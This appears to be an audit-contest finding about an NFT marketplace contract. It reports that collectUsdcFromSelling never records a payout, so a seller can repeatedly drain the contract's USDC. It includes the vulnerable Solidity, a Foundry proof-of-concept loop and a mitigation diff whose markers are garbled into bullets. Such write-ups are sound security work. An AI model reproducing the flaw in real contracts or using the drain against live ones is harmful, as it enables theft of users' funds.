NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

[H-01] Missing state update in collectUsdcFromSelling allows sellers to infinitely drain the contract's USDC balance

Author Revealed upon completion

Root + Impact

Description

Normal behavior ensures that after an NFT is sold (which sets the listing to inactive), the seller can call collectUsdcFromSelling exactly once to retrieve their sale revenue and collateral.

The specific issue is that collectUsdcFromSelling transfers the funds but fails to update any state variable to mark the funds as claimed, allowing the seller to call the function repeatedly and drain the contract.

Solidity
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");

uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;

// @> No state is updated before or after these transfers
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}

Risk

Likelihood:

Whitelisted users who successfully sell an NFT can exploit this immediately.

It requires zero technical knowledge to exploit, as a simple script or repeated manual calls will trigger the drain.

Impact:

Complete loss of funds. The attacker can drain all USDC held by the NFTDealers contract, stealing minting collaterals, accumulated fees, and funds belonging to other users.

It completely breaks the core economic security of the marketplace.

Proof of Concept

Solidity
function test_PoC_InfiniteUSDCDrain() public {
vm.startPrank(attacker);
dealers.mintNft();
dealers.list(1, 100e6);
vm.stopPrank();

vm.prank(buyer);
dealers.buy(1);
vm.startPrank(attacker);
uint256 attackerBalanceBefore = usdc.balanceOf(attacker);
for(uint i = 0; i < 5; i++) {
dealers.collectUsdcFromSelling(1);
}
vm.stopPrank();
uint256 attackerBalanceAfter = usdc.balanceOf(attacker);
assertGt(attackerBalanceAfter, attackerBalanceBefore + 100e6);
}

Recommended Mitigation

Diff
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");


  • require(listing.price > 0, "Funds already collected");
    uint256 fees = _calculateFees(listing.price);
    uint256 amountToSeller = listing.price - fees;
    uint256 collateralToReturn = collateralForMinting[listing.tokenId];

  • s_listings[_listingId].price = 0;

  • collateralForMinting[listing.tokenId] = 0;
    totalFeesCollected += fees;
    amountToSeller += collateralToReturn;

  • usdc.safeTransfer(address(this), fees);
    usdc.safeTransfer(msg.sender, amountToSeller);

    }

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!